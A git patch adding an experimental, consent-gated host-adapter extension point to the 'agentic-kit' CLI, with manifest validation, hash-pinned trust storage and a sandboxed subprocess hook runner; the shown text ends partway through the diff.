From 49467c893d716a654a72ffa7d88848b9361ccd72 Mon Sep 17 00:00:00 2001 From: Chris Phillipson Date: Sat, 15 Aug 2026 16:18:41 -0700 Subject: [PATCH 1/4] =?UTF-8?q?feat:=20the=20host-adapter=20extension=20po?= =?UTF-8?q?int=20=E2=80=94=20data=20plus=20consented=20subprocess=20hooks?= =?UTF-8?q?=20(ADR-0029)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Phase 2 Wave 4: an external host adapter is a validated JSON manifest plus subprocess hooks; no third-party code ever runs in-process. Behind AK_EXPERIMENTAL_HOST_ADAPTERS=1 with byte-zero default behavior. - manifest.mjs: a STRICT allowlist at every level — top-level, host, install, legacy, capabilities, detection, driving, lifecycle, and trust reject any unknown key, so the structural caps (canBePrimary, aqeProvider, commandStatusline) and a path-traversal guidanceFile are inexpressible, not merely refused; an external adapter may not name an npm package ak would install, and its detection bin must be id-shaped. - admission.mjs: fail-closed, per-adapter isolated admission — validate, cap-check, contract match, builtin-shadow refusal, then a locale-independent content hash checked against hash-pinned consent (edit-invalidated). One bad entry never affects built-ins or siblings. - hook-runner.mjs: the only path external code executes — a supervised, shell-free subprocess with an env allowlist, process-group kill on timeout, and bounded capture. - consent.mjs: the 0600 hash-pinned trust store. - admitted.mjs: the frozen built-ins+admitted overlay; effectiveHostRegistry is HOST_REGISTRY by reference until something is admitted. - Built-in lifecycle loops iterate builtinHostsWithLifecycle() so an admitted host can never enter an opencode-shaped teardown before external lifecycle execution graduates. Security-reviewed (approve-with-nits, no RCE/escape/pollution): six of seven attacks held; the consent-forgery gap and the checklist-not-allowlist finding are closed by the strict allowlist above, verified against the reviewer's exploit probes. --- bin/agentic-kit.mjs | 18 ++ src/commands/setup.mjs | 16 +- src/commands/sync.mjs | 18 +- src/commands/uninstall.mjs | 10 +- src/lib/adapters/admission.mjs | 190 +++++++++++++++ src/lib/adapters/admitted.mjs | 64 +++++ src/lib/adapters/consent.mjs | 91 +++++++ src/lib/adapters/hook-runner.mjs | 201 ++++++++++++++++ src/lib/adapters/index.mjs | 3 + src/lib/adapters/lifecycle-registry.mjs | 124 +++++++++- src/lib/adapters/manifest.mjs | 302 ++++++++++++++++++++++++ src/lib/config.mjs | 4 + src/lib/execution/adapters.mjs | 9 +- 13 files changed, 1028 insertions(+), 22 deletions(-) create mode 100644 src/lib/adapters/admission.mjs create mode 100644 src/lib/adapters/admitted.mjs create mode 100644 src/lib/adapters/consent.mjs create mode 100644 src/lib/adapters/hook-runner.mjs create mode 100644 src/lib/adapters/manifest.mjs diff --git a/bin/agentic-kit.mjs b/bin/agentic-kit.mjs index 0df99c9..cd1d38c 100755 --- a/bin/agentic-kit.mjs +++ b/bin/agentic-kit.mjs @@ -144,6 +144,24 @@ async function main() { allowPositionals: true, strict: false, }); + + // Experimental host-adapter bootstrap (Wave 4, adapter door) — the single + // place every command passes through. Gated on the env var BEFORE anything + // else runs so the default (flag unset) is truly zero calls, zero output, + // zero behavior change: no dynamic import, no config read, nothing. + // Refusals are warnings on stderr, never fatal — a bad external adapter + // must never block a command that doesn't use it. + if (process.env.AK_EXPERIMENTAL_HOST_ADAPTERS === '1') { + try { + const { loadKitConfig } = await import('../src/lib/config.mjs'); + const { bootstrapHostAdapters } = await import('../src/lib/adapters/admission.mjs'); + const { warnings } = await bootstrapHostAdapters({ cfg: loadKitConfig(), env: process.env }); + for (const w of warnings) { + console.error(dim(`⚠ host adapter '${w.name}' not admitted (${w.reason}): ${w.detail ?? ''}`.trimEnd())); + } + } catch { /* experimental surface — never blocks a command */ } + } + const code = await mod.run({ flags: values, positionals, pkgRoot: PKG_ROOT }); // Drift nudge: one line, cached, never blocks (skipped in --json contexts). diff --git a/src/commands/setup.mjs b/src/commands/setup.mjs index 829de26..a285216 100644 --- a/src/commands/setup.mjs +++ b/src/commands/setup.mjs @@ -14,7 +14,7 @@ import { reconcileGuidance } from '../lib/blocks.mjs'; import { register as mcpRegister, applyExclusions } from '../lib/mcp.mjs'; import { reconcileOpencodeGuidance } from '../lib/opencode.mjs'; import { runLifecycle } from '../lib/adapters/lifecycle.mjs'; -import { hostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; +import { builtinHostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; import { loadKitConfig, saveKitConfig } from '../lib/config.mjs'; import { HOSTS, applyHosts, applyProviders, hostInstallState, installHost, applyAqeRouter, seedActivityRoutesIfMultiHost, printActivityRoutingTable, aqeSupportsAgentOverrides, ensureCodexMcp, ensureRufloMcpInCodex, applySetupHostFlags, bothHostsEnabled } from '../lib/providers.mjs'; import { installedVersion } from '../lib/versions.mjs'; @@ -216,14 +216,18 @@ export async function run_machine({ flags, pkgRoot, cfg }) { // 6b. host lifecycle wiring — config-file MCP + skills, lifecycle plugin, // converted agents, platform skill (each adapter owns its own surfaces // — opencode.mjs for opencode). Registry-driven: loops - // hostsWithLifecycle() rather than naming opencode, so a second - // lifecycle host needs no new branch here. Only when the CLI is - // actually present: a declined/failed install must not leave a + // builtinHostsWithLifecycle() rather than naming opencode, so a second + // BUILT-IN lifecycle host needs no new branch here. Only when the CLI + // is actually present: a declined/failed install must not leave a // freshly-created config home behind (codex-review #4). The result // SHAPE consumed below (stack.oc/plugin/agents/skill) is still // opencode's own — the lifecycle contract doesn't mandate a common - // `apply()` result shape across hosts. - for (const hostId of hostsWithLifecycle()) { + // `apply()` result shape across hosts. builtinHostsWithLifecycle() + // (not hostsWithLifecycle()) deliberately excludes admitted external + // hosts: this loop body is opencode-shaped, and external lifecycle + // execution graduates in a later wave alongside a shape-agnostic body + // (see lifecycle-registry.mjs's registerAdmittedLifecycle comment). + for (const hostId of builtinHostsWithLifecycle()) { if (!cfg.integrations?.hosts?.[hostId]) continue; if (!(await have(hostId))) { const pkg = HOSTS.find((h) => h.id === hostId)?.pkg ?? hostId; diff --git a/src/commands/sync.mjs b/src/commands/sync.mjs index e0616b1..9f44e46 100644 --- a/src/commands/sync.mjs +++ b/src/commands/sync.mjs @@ -9,7 +9,7 @@ import { fixStatusline, helperStampStale } from '../lib/statusline.mjs'; import { reconcileGuidance } from '../lib/blocks.mjs'; import { register as mcpRegister, applyExclusions } from '../lib/mcp.mjs'; import { runLifecycle } from '../lib/adapters/lifecycle.mjs'; -import { hostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; +import { builtinHostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; import { listDaemons, staleDaemons, reap } from '../lib/daemons.mjs'; import { loadKitConfig, saveKitConfig } from '../lib/config.mjs'; import { commandHosts, applyHosts, applyProviders, hostInstallState, installHost, applyAqeRouter, seedActivityRoutesIfMultiHost, migrateRetiredRoutesInConfig, ensureCodexMcp, ensureRufloMcpInCodex, bothHostsEnabled } from '../lib/providers.mjs'; @@ -188,13 +188,15 @@ export async function run({ flags, pkgRoot, fetchLatest }) { // Runs BEFORE the blocks branch: the agents-opencode guidance target is gated // on the config home this branch creates — this order lets a fresh enable // converge guidance in the SAME sync (a second sync is then a true no-op). - // Registry-driven: loops hostsWithLifecycle() rather than naming opencode, - // so a second lifecycle host needs no new branch here. Only opencode is - // registered today, so this loop runs exactly once — byte-identical to the - // single-host branch it replaces. The result SHAPE consumed below - // (stack.oc/plugin/agents/skill) is still opencode's own — the lifecycle - // contract doesn't mandate a common `apply()` result shape across hosts. - for (const hostId of hostsWithLifecycle()) { + // Registry-driven: loops builtinHostsWithLifecycle() rather than naming + // opencode, so a second BUILT-IN lifecycle host needs no new branch here. + // Only opencode is registered today, so this loop runs exactly once — + // byte-identical to the single-host branch it replaces. The result SHAPE + // consumed below (stack.oc/plugin/agents/skill) is still opencode's own — + // the lifecycle contract doesn't mandate a common `apply()` result shape + // across hosts. builtinHostsWithLifecycle() (not hostsWithLifecycle()) + // deliberately excludes admitted external hosts — see lifecycle-registry.mjs. + for (const hostId of builtinHostsWithLifecycle()) { if (!subsystems.has(hostId) || !cfg.integrations?.hosts?.[hostId]) continue; if (!(await have(hostId))) { info(`${hostId}: enabled but CLI not installed — wiring skipped (hosts step installs it)`); diff --git a/src/commands/uninstall.mjs b/src/commands/uninstall.mjs index 251019e..721e129 100644 --- a/src/commands/uninstall.mjs +++ b/src/commands/uninstall.mjs @@ -11,7 +11,7 @@ import { stripBlock, BEGIN, BUILTIN_BLOCKS } from '../lib/blocks.mjs'; import { unregister } from '../lib/mcp.mjs'; import { loadKitConfig, saveKitConfig } from '../lib/config.mjs'; import { runLifecycle } from '../lib/adapters/lifecycle.mjs'; -import { hostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; +import { builtinHostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; import { present as rbPresent } from '../lib/ruvnet-brain.mjs'; import * as paths from '../lib/paths.mjs'; import { ok, warn, info } from '../lib/output.mjs'; @@ -131,8 +131,12 @@ export async function run({ flags }) { // artifact removal independent of that), so this call is unconditional per // host — the only kit-side gate is "did anything actually happen", to // avoid a no-op teardown line (and a needless kit.json rewrite) on a host - // that was never enabled. - for (const hostId of hostsWithLifecycle()) { + // that was never enabled. builtinHostsWithLifecycle() (not + // hostsWithLifecycle()) deliberately excludes admitted external hosts: + // this loop body destructures an opencode-shaped result (ret.undo, + // ret.artifacts) — see lifecycle-registry.mjs's registerAdmittedLifecycle + // comment for why external lifecycle execution isn't wired through here yet. + for (const hostId of builtinHostsWithLifecycle()) { const adapter = lifecycleAdapterFor(hostId); if (dry) { info(`[dry-run] stripped ak-managed ${hostId} wiring + artifacts (opencode.json, plugin, agents, skill)`); diff --git a/src/lib/adapters/admission.mjs b/src/lib/adapters/admission.mjs new file mode 100644 index 0000000..a35d812 --- /dev/null +++ b/src/lib/adapters/admission.mjs @@ -0,0 +1,190 @@ +// Fail-closed admission gate for externally-sourced host-adapter manifests +// (Adapter Contract Dossier). admitAdapters walks cfg.hostAdapters and, for +// each entry, validates the manifest, verifies its declared contract is one +// this version supports, and checks a canonicalized content hash against an +// injected consent store — never prompting interactively itself. Per-entry +// isolation: one bad adapter is refused in place and never affects any other +// entry or the built-in registries (try/caught per entry, in admitOne AND as +// a belt-and-suspenders net in admitAdapters). +import { createHash } from 'node:crypto'; +import { HOST_REGISTRY } from './registries.mjs'; +import { validateAdapterManifest } from './manifest.mjs'; + +export const SUPPORTED_CONTRACT = 1; + +/** Deterministic, key-sorted JSON — same stable-stringify shape used + * elsewhere in this codebase (e.g. opencode.mjs's deepEqual) so two manifests + * that differ only in key order or incidental whitespace hash identically. + * The sort comparator is a plain code-unit compare, NOT localeCompare: with + * localeCompare, key order (and therefore the hash) could shift across + * locales (e.g. en_US vs sv_SE collation), so a CI runner or container with + * a different locale than where consent was recorded could see a bogus + * consent-stale refusal for a manifest that never actually changed. */ +export function canonicalizeManifest(value) { + return JSON.stringify(value, (_key, val) => ( + val && typeof val === 'object' && !Array.isArray(val) + ? Object.fromEntries(Object.entries(val).sort(([a], [b]) => (a < b ? -1 : a > b ? 1 : 0))) + : val + )); +} + +export function hashManifest(value) { + return createHash('sha256').update(canonicalizeManifest(value)).digest('hex'); +} + +const builtinIds = () => new Set(HOST_REGISTRY.map((host) => host.id)); + +async function admitOne(entry, { readManifest, consent, builtins }) { + const name = entry?.name; + if (typeof name !== 'string' || !name) { + return { name: name ?? '(unknown)', admitted: false, reason: 'invalid-entry', detail: 'cfg.hostAdapters entry requires a name' }; + } + if (typeof entry.source !== 'string' || !entry.source) { + return { name, admitted: false, reason: 'invalid-entry', detail: 'cfg.hostAdapters entry requires a source' }; + } + + let raw; + try { + raw = await readManifest(entry.source); + } catch (error) { + return { name, admitted: false, reason: 'manifest-unreadable', detail: error?.message ?? String(error) }; + } + + // cfg's own pinned contract (if declared) disagreeing with the manifest's + // self-declared contract is a distinct failure from "unsupported version" — + // it means the operator pinned to a manifest that changed underneath them. + if (entry.contract !== undefined && raw?.contract !== undefined && entry.contract !== raw.contract) { + return { + name, admitted: false, reason: 'contract-mismatch', + detail: `cfg declares contract ${entry.contract}, manifest declares ${raw.contract}`, + }; + } + + let manifest; + try { + manifest = validateAdapterManifest(raw); + } catch (error) { + return { name, admitted: false, reason: error?.reason ?? 'manifest-invalid', detail: error?.message ?? String(error) }; + } + + if (manifest.contract !== SUPPORTED_CONTRACT) { + return { name, admitted: false, reason: 'contract-version', detail: `unsupported contract ${manifest.contract}` }; + } + + if (manifest.host.id !== name) { + return { name, admitted: false, reason: 'name-mismatch', detail: `cfg entry '${name}' does not match manifest host id '${manifest.host.id}'` }; + } + + if (builtins.has(manifest.host.id)) { + return { name, admitted: false, reason: 'builtin-shadow', detail: `'${manifest.host.id}' is a built-in host id` }; + } + + const hash = hashManifest(manifest); + let recorded; + try { + recorded = consent.recordedHashFor(name); + } catch (error) { + return { name, admitted: false, reason: 'consent-error', detail: error?.message ?? String(error) }; + } + if (recorded == null) { + return { name, admitted: false, reason: 'consent-required', detail: `no recorded consent for '${name}'` }; + } + + let trusted; + try { + trusted = consent.isTrusted(name, hash); + } catch (error) { + return { name, admitted: false, reason: 'consent-error', detail: error?.message ?? String(error) }; + } + if (!trusted || recorded !== hash) { + return { name, admitted: false, reason: 'consent-stale', detail: `manifest hash ${hash} does not match consented ${recorded}` }; + } + + return { name, admitted: true, entry: manifest.host, manifest }; +} + +/** + * @param {{ cfg: any, readManifest: (source: string) => Promise, + * consent: { recordedHashFor(name: string): string|null, isTrusted(name: string, hash: string): boolean } }} args + * @returns {Promise>} + */ +export async function admitAdapters({ cfg, readManifest, consent }) { + const entries = Array.isArray(cfg?.hostAdapters) ? cfg.hostAdapters : []; + const builtins = builtinIds(); + const results = []; + // Sequential, not Promise.all: entries are independent, but sequential + // admission keeps refusal isolation trivial to reason about (and cfg's + // adapter counts are small — this is not a hot loop). + for (const entry of entries) { + try { + results.push(await admitOne(entry, { readManifest, consent, builtins })); + } catch (error) { + // Belt-and-suspenders: admitOne already catches every known failure + // point, but an unforeseen throw must still isolate to this one entry. + results.push({ name: entry?.name ?? '(unknown)', admitted: false, reason: 'admission-error', detail: error?.message ?? String(error) }); + } + } + return results; +} + +async function defaultReadManifest(source) { + const fs = await import('node:fs/promises'); + const raw = await fs.readFile(source, 'utf8'); + return JSON.parse(raw); +} + +/** + * CLI bootstrap entry point — the only call site production code needs + * (`bootstrapHostAdapters({cfg, env})`, wired from bin/agentic-kit.mjs). + * Everything is guarded and non-fatal: with the flag unset or no configured + * adapters, this returns immediately with zero side effects (no dynamic + * import, no filesystem read, no admission work) — the flag-off no-op is + * pinned by a test. `readManifest`/`consent` are optional injection points + * for tests; production relies on the defaults (a plain fs+JSON.parse reader, + * and a dynamic import of the sibling consent store in ./consent.mjs). + * @param {{ cfg?: any, env?: NodeJS.ProcessEnv, readManifest?: (source: string) => Promise, + * consent?: { recordedHashFor(name: string): string|null, isTrusted(name: string, hash: string): boolean } }} [args] + */ +export async function bootstrapHostAdapters({ + cfg, env = process.env, readManifest = defaultReadManifest, consent, +} = {}) { + if (env?.AK_EXPERIMENTAL_HOST_ADAPTERS !== '1') return { active: false, admitted: [], warnings: [] }; + const entries = Array.isArray(cfg?.hostAdapters) ? cfg.hostAdapters : []; + if (entries.length === 0) return { active: false, admitted: [], warnings: [] }; + + let consentStore = consent; + if (!consentStore) { + try { + // Sibling-owned module (consent.mjs); dynamic so this file loads even + // before it lands, and so tests never pay for it unless they choose to. + // consent.mjs exports recordedHashFor/isTrusted as plain named + // functions (no wrapper object) — the module namespace itself already + // satisfies {recordedHashFor(name), isTrusted(name,hash)}; the + // consentStore/default fallbacks are just tolerance for a future + // reshape, not the shape it ships today. + // Cast to `any`: consent.mjs's real, current shape has neither + // `consentStore` nor `default` — the fallback chain below is tolerance + // for a future reshape (see the comment above), not today's actual + // module namespace type, so a literal type there would just be wrong. + const mod = /** @type {any} */ (await import('./consent.mjs')); + consentStore = mod.consentStore ?? mod.default ?? mod; + } catch (error) { + const warnings = entries.map((raw) => ({ + name: raw?.name ?? '(unknown)', reason: 'consent-unavailable', detail: error?.message ?? String(error), + })); + return { active: true, admitted: [], warnings }; + } + } + + const results = await admitAdapters({ cfg, readManifest, consent: consentStore }); + const admitted = results.filter((result) => result.admitted); + const warnings = results.filter((result) => !result.admitted) + .map(({ name, reason, detail }) => ({ name, reason, detail })); + + if (admitted.length) { + const { applyAdmitted } = await import('./admitted.mjs'); + applyAdmitted(admitted); + } + + return { active: true, admitted, warnings }; +} diff --git a/src/lib/adapters/admitted.mjs b/src/lib/adapters/admitted.mjs new file mode 100644 index 0000000..21838fe --- /dev/null +++ b/src/lib/adapters/admitted.mjs @@ -0,0 +1,64 @@ +// Overlay holding admitted external host entries — set once per process by +// bootstrapHostAdapters (admission.mjs) after admitAdapters has already +// refused any entry that would collide with a built-in id. This module does +// NOT re-check the built-in-shadow invariant; it trusts admission's output +// for that. It DOES, however, re-run every stored entry through +// validateHostAdapter (registries.mjs) before accepting it — see +// conformOne below. +import { HOST_REGISTRY, validateHostAdapter } from './registries.mjs'; + +let admittedEntries = Object.freeze([]); +let applied = false; + +/** + * Minimal shape gate + deep-freeze for one overlay entry, by re-running it + * through validateHostAdapter with no projections/observability maps + * injected (so only structural shape — not registry cross-references — is + * re-verified). In the real bootstrapHostAdapters path this is always a + * no-op pass-through: admitAdapters already produced `entry` by calling + * validateHostAdapter once, inside validateAdapterManifest, so re-running it + * here just re-derives an equally-valid, equally-frozen clone. It exists so + * a caller that bypasses admission entirely — a bug, a future refactor, or a + * raw object handed to applyAdmitted directly — gets a loud construction-time + * TypeError instead of an unvalidated, possibly-privileged-looking entry + * (e.g. `{id, capabilities:{canBePrimary:true}}`) silently joining + * effectiveHostRegistry(). applyAdmitted only accepts genuine admission + * output; anything else is rejected, never silently coerced. + * @param {any} item — a raw host entry, or an admission result `{entry}` + */ +function conformOne(item) { + return validateHostAdapter(item?.entry ?? item); +} + +/** + * Set the admitted overlay. Accepts either raw host entries or admission + * results ({name, admitted, entry, manifest}) — whichever admitAdapters + * handed back — validates + deep-freezes the host entry from each (throws on + * a non-conforming entry), and stores the result. A second call replaces the + * overlay outright (useful for tests via resetAdmitted()); production calls + * this at most once per process since the env flag gates it. + * @param {ReadonlyArray} entries + */ +export function applyAdmitted(entries) { + admittedEntries = Object.freeze((entries ?? []).map(conformOne)); + applied = true; + return admittedEntries; +} + +/** Test-only reset back to the unapplied, builtins-only state. */ +export function resetAdmitted() { + admittedEntries = Object.freeze([]); + applied = false; +} + +export function admittedHostIds() { + return admittedEntries.map((entry) => entry.id); +} + +/** Built-ins + admitted externals, both frozen. Returns HOST_REGISTRY itself + * (same reference) when nothing has been admitted, so callers that never + * opt into the experimental flag see byte-identical behavior. */ +export function effectiveHostRegistry() { + if (!applied || admittedEntries.length === 0) return HOST_REGISTRY; + return Object.freeze([...HOST_REGISTRY, ...admittedEntries]); +} diff --git a/src/lib/adapters/consent.mjs b/src/lib/adapters/consent.mjs new file mode 100644 index 0000000..a26b94b --- /dev/null +++ b/src/lib/adapters/consent.mjs @@ -0,0 +1,91 @@ +// Hash-pinned adapter trust store (Codex-hooks/Hermes-allowlist precedent). +// A JSON map of adapter name -> { hash, consentedAt } under the kit config +// dir. Edit-invalidation is inherent: change an adapter's hook command and +// its hash changes, so `isTrusted` fails closed until consent is re-granted. +// +// No interactive prompting lives here — consent is GRANTED elsewhere (a +// future `ak host adapters trust ` command). `recordConsent` is the +// programmatic seam that command will call. +import fs from 'node:fs'; +import path from 'node:path'; +import { configDir } from '../paths.mjs'; + +export const adapterConsentPath = () => path.join(configDir(), 'adapter-consent.json'); + +function readStore(file) { + let raw; + try { + raw = fs.readFileSync(file, 'utf8'); + } catch { + return {}; + } + try { + const parsed = JSON.parse(raw); + return parsed && typeof parsed === 'object' && !Array.isArray(parsed) ? parsed : {}; + } catch { + return {}; + } +} + +/** Atomic tmp+rename write at 0600, matching the rest of the kit's + * user-owned config writes (live/process-sessions.mjs's WorkspaceSnapshotStore). */ +function writeStore(file, store) { + fs.mkdirSync(path.dirname(file), { recursive: true, mode: 0o700 }); + const tmp = `${file}.${process.pid}.${Date.now()}.tmp`; + let renamed = false; + try { + fs.writeFileSync(tmp, `${JSON.stringify(store, null, 2)}\n`, { mode: 0o600 }); + fs.renameSync(tmp, file); + renamed = true; + } finally { + if (!renamed) { + try { fs.rmSync(tmp, { force: true }); } catch { /* cleanup must not mask the write error */ } + } + } + try { fs.chmodSync(file, 0o600); } catch { /* best-effort on platforms without POSIX perms */ } +} + +function validEntry(value) { + return !!value && typeof value === 'object' + && typeof value.hash === 'string' && value.hash.length > 0 + && typeof value.consentedAt === 'string' && Number.isFinite(Date.parse(value.consentedAt)); +} + +/** The hash this adapter was last consented to, or null if never recorded + * (or the file is missing/unreadable/corrupt — this never throws). */ +export function recordedHashFor(name, { file = adapterConsentPath() } = {}) { + if (typeof name !== 'string' || !name) return null; + const entry = readStore(file)[name]; + return validEntry(entry) ? entry.hash : null; +} + +/** True only on an exact hash match against the recorded consent. Any + * mismatch — including "never consented" — is untrusted. */ +export function isTrusted(name, hash, { file = adapterConsentPath() } = {}) { + if (typeof hash !== 'string' || !hash) return false; + const recorded = recordedHashFor(name, { file }); + return recorded !== null && recorded === hash; +} + +/** Record consent for `name` at `hash`, overwriting any prior entry. */ +export function recordConsent(name, hash, { file = adapterConsentPath() } = {}) { + if (typeof name !== 'string' || !name) throw new TypeError('recordConsent requires an adapter name'); + if (typeof hash !== 'string' || !hash) throw new TypeError('recordConsent requires a hash'); + const store = readStore(file); + store[name] = { hash, consentedAt: new Date().toISOString() }; + writeStore(file, store); +} + +/** Remove any recorded consent for `name`. Returns whether an entry existed. */ +export function revokeConsent(name, { file = adapterConsentPath() } = {}) { + if (typeof name !== 'string' || !name) return false; + const store = readStore(file); + // Object.hasOwn, not `name in store`: `in` walks the prototype chain, so + // revokeConsent('constructor') (or 'toString', 'hasOwnProperty', ...) + // would read true off Object.prototype and report revoking consent for an + // adapter that was never actually consented to. + if (!Object.hasOwn(store, name)) return false; + delete store[name]; + writeStore(file, store); + return true; +} diff --git a/src/lib/adapters/hook-runner.mjs b/src/lib/adapters/hook-runner.mjs new file mode 100644 index 0000000..168d6bd --- /dev/null +++ b/src/lib/adapters/hook-runner.mjs @@ -0,0 +1,201 @@ +// The ONLY way an external adapter's code ever executes: a supervised, +// short-lived subprocess. Adapters are untrusted code with an explicit exit +// door, not co-processes we trust to clean up after themselves — no shell, +// a minimal environment, bounded captured output, and the whole process +// group dies the instant a timeout fires. +// +// Deliberately simpler than execution/subprocess.mjs: one shot, no streaming +// summary capture, no graceful-then-forced two-step shutdown. A timed-out +// adapter hook gets no cleanup grace period; it already spent its budget. +import { spawn as nodeSpawn, execFile as nodeExecFile } from 'node:child_process'; + +const DEFAULT_TIMEOUT_MS = 30_000; +const OUTPUT_CAP_BYTES = 256 * 1024; +const TRUNCATION_MARKER = `\n…[truncated: adapter hook output exceeded ${OUTPUT_CAP_BYTES} bytes]`; +const STDERR_SEPARATOR = '\n--- stderr ---\n'; +// Bounded wait for the process to actually report closed after a kill signal +// is sent. SIGKILL is not a promise the OS keeps synchronously; this is a +// safety net so a stuck kernel-blocked process can't hang the caller forever. +const KILL_GRACE_MS = 2_000; +const isWindows = process.platform === 'win32'; +const TIMEOUT_SENTINEL = Symbol('adapter-hook-timeout'); + +/** Min-wins: whichever side asked for the tighter budget governs. A hook + * cannot escalate past a caller-imposed ceiling, and a caller cannot force a + * hook to run longer than the hook itself declared it needs. Neither side + * specifying a timeout falls back to the 30s default. */ +function resolveTimeout(paramTimeoutMs, hookTimeoutMs) { + const candidates = [paramTimeoutMs, hookTimeoutMs].filter( + (value) => Number.isFinite(value) && value > 0, + ); + return candidates.length ? Math.min(...candidates) : DEFAULT_TIMEOUT_MS; +} + +/** PATH, HOME, plus caller-passed entries only — never the full + * process.env. Adapters must not inherit ak's secrets. */ +function minimalEnv(extra) { + const env = {}; + if (typeof process.env.PATH === 'string') env.PATH = process.env.PATH; + if (typeof process.env.HOME === 'string') env.HOME = process.env.HOME; + if (extra && typeof extra === 'object') { + for (const [key, value] of Object.entries(extra)) { + if (typeof key === 'string' && key && typeof value === 'string') env[key] = value; + } + } + return env; +} + +/** Accumulate chunks up to a hard byte ceiling, then silently drop the rest, + * remembering that a drop happened. Bounds memory during the run itself — + * the final combined-stream cap (and truncation marker) is applied + * separately once both streams are known, but a stream truncated on its own + * must still be reported as truncated even if it lands exactly at the cap. */ +function boundedCollector(capBytes) { + let buffer = Buffer.alloc(0); + let truncated = false; + return { + write(chunk) { + if (buffer.length >= capBytes) { + if (chunk.length > 0) truncated = true; + return; + } + const next = Buffer.concat([buffer, chunk]); + if (next.length > capBytes) { + truncated = true; + buffer = next.subarray(0, capBytes); + } else { + buffer = next; + } + }, + text() { return buffer.toString('utf8'); }, + wasTruncated() { return truncated; }, + }; +} + +/** stdout first, then stderr folded in after a separator, then the whole + * thing capped at OUTPUT_CAP_BYTES with a truncation marker appended if + * anything was cut — whether that happened while collecting a single + * oversized stream, or only once the two streams were combined. Never + * unbounded. */ +function mergeCapture(stdout, stderr) { + const combined = stderr.text ? `${stdout.text}${STDERR_SEPARATOR}${stderr.text}` : stdout.text; + const combinedBytes = Buffer.byteLength(combined, 'utf8'); + const overflow = combinedBytes > OUTPUT_CAP_BYTES; + if (!stdout.truncated && !stderr.truncated && !overflow) return combined; + const kept = overflow + ? Buffer.from(combined, 'utf8').subarray(0, OUTPUT_CAP_BYTES).toString('utf8') + : combined; + return `${kept}${TRUNCATION_MARKER}`; +} + +function describeFailure(hostId, verb, error) { + const reason = error?.code ? `${error.code} (${error.message ?? 'no message'})` : (error?.message ?? String(error)); + return `${hostId}:${verb} adapter hook failed to start: ${reason}`; +} + +function raceTimeout(promise, ms) { + return new Promise((resolve) => { + const timer = setTimeout(() => resolve(TIMEOUT_SENTINEL), ms); + promise.then((value) => { clearTimeout(timer); resolve(value); }); + }); +} + +/** Best-effort kill of the whole process group/tree, not just the direct + * child — a timed-out adapter hook may have spawned descendants of its own. + * POSIX: the child was spawned detached so its pid is also its process group + * id; signalling `-pid` reaches the whole group. Windows has no portable + * signal for arbitrary console trees, so `taskkill /T /F` owns it there. */ +async function killGroup(child) { + if (!Number.isInteger(child?.pid)) return; + if (isWindows) { + await new Promise((resolve) => { + nodeExecFile('taskkill.exe', ['/PID', String(child.pid), '/T', '/F'], () => resolve(undefined)); + }); + return; + } + try { + process.kill(-child.pid, 'SIGKILL'); + } catch { + try { child.kill('SIGKILL'); } catch { /* process already gone */ } + } +} + +/** + * Run one adapter hook as a supervised subprocess and report what happened. + * Never throws for process failures (ENOENT, timeout, non-zero exit) — those + * are reported via `ok:false` and `detail`. Only malformed call arguments + * (missing/invalid `hook`, `hostId`, or `verb`) throw synchronously. + * + * @param {{hook:{command:string[], timeoutMs?:number}, hostId:string, + * verb:string, timeoutMs?:number, env?:Record}} options + * @returns {Promise<{ok:boolean, stdout:string, exitCode:number|null, detail:string|null}>} + */ +export async function runAdapterHook({ hook, hostId, verb, timeoutMs, env } = /** @type {any} */ ({})) { + if (!hook || !Array.isArray(hook.command) || hook.command.length === 0 + || !hook.command.every((part) => typeof part === 'string' && part.length > 0)) { + throw new TypeError('runAdapterHook requires hook.command as a non-empty array of non-empty strings'); + } + if (typeof hostId !== 'string' || !hostId) throw new TypeError('runAdapterHook requires a hostId'); + if (typeof verb !== 'string' || !verb) throw new TypeError('runAdapterHook requires a verb'); + + const effectiveTimeoutMs = resolveTimeout(timeoutMs, hook.timeoutMs); + const [argv0, ...args] = hook.command; + const childEnv = minimalEnv(env); + + let child; + try { + child = nodeSpawn(argv0, args, { + env: childEnv, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + detached: !isWindows, + }); + } catch (error) { + return { ok: false, stdout: '', exitCode: null, detail: describeFailure(hostId, verb, error) }; + } + + const stdoutCollector = boundedCollector(OUTPUT_CAP_BYTES); + const stderrCollector = boundedCollector(OUTPUT_CAP_BYTES); + child.stdout?.on('data', (chunk) => stdoutCollector.write(chunk)); + child.stderr?.on('data', (chunk) => stderrCollector.write(chunk)); + + let settled = false; + let spawnError = null; + const closeResult = new Promise((resolve) => { + child.once('error', (error) => { + spawnError = error; + if (!settled) { settled = true; resolve({ code: null, signal: null }); } + }); + child.once('close', (code, signal) => { + if (!settled) { settled = true; resolve({ code, signal }); } + }); + }); + + const raced = await raceTimeout(closeResult, effectiveTimeoutMs); + if (raced === TIMEOUT_SENTINEL) { + await killGroup(child); + await raceTimeout(closeResult, KILL_GRACE_MS); // best-effort; result unused + return { + ok: false, + exitCode: null, + stdout: mergeCapture( + { text: stdoutCollector.text(), truncated: stdoutCollector.wasTruncated() }, + { text: stderrCollector.text(), truncated: stderrCollector.wasTruncated() }, + ), + detail: `${hostId}:${verb} adapter hook timed out after ${effectiveTimeoutMs}ms and was killed`, + }; + } + + if (spawnError) { + return { ok: false, stdout: '', exitCode: null, detail: describeFailure(hostId, verb, spawnError) }; + } + + const { code } = raced; + const stdout = mergeCapture( + { text: stdoutCollector.text(), truncated: stdoutCollector.wasTruncated() }, + { text: stderrCollector.text(), truncated: stderrCollector.wasTruncated() }, + ); + return code === 0 + ? { ok: true, stdout, exitCode: 0, detail: null } + : { ok: false, stdout, exitCode: code, detail: `${hostId}:${verb} adapter hook exited with code ${code}` }; +} diff --git a/src/lib/adapters/index.mjs b/src/lib/adapters/index.mjs index 0952eaa..8794885 100644 --- a/src/lib/adapters/index.mjs +++ b/src/lib/adapters/index.mjs @@ -6,3 +6,6 @@ export * from 